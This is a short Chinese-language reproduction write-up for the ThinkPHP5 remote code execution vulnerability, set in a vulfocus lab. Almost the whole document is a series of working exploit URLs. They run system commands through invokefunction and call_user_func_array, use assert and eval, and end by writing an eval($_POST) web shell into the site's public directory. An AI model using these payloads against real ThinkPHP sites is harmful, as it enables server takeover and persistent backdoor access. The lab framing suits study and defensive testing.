0x01 漏洞描述

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

0x02 漏洞环境

ThinkPHP 5.*,<5.1.31 ThinkPHP <=5.0.23 vulfocus

0x03 漏洞复现

http://192.168.10.17/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

Untitled

http://192.168.10.17/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

http://192.168.10.17/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

Untitled

[http://192.168.10.17/index.php/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=system("whoami");](http://192.168.10.17/index.php/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=system("whoami");)

Untitled

getshell

http://192.168.10.17/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('bbb.php','<?php phpinfo();')

当前目录:

http://192.168.10.17/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=pwd

写入shell

http://192.168.10.17/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=echo '<?php eval($_POST["ant"]);?>' > /www/wwwroot/ThinkPHP/public/hello.php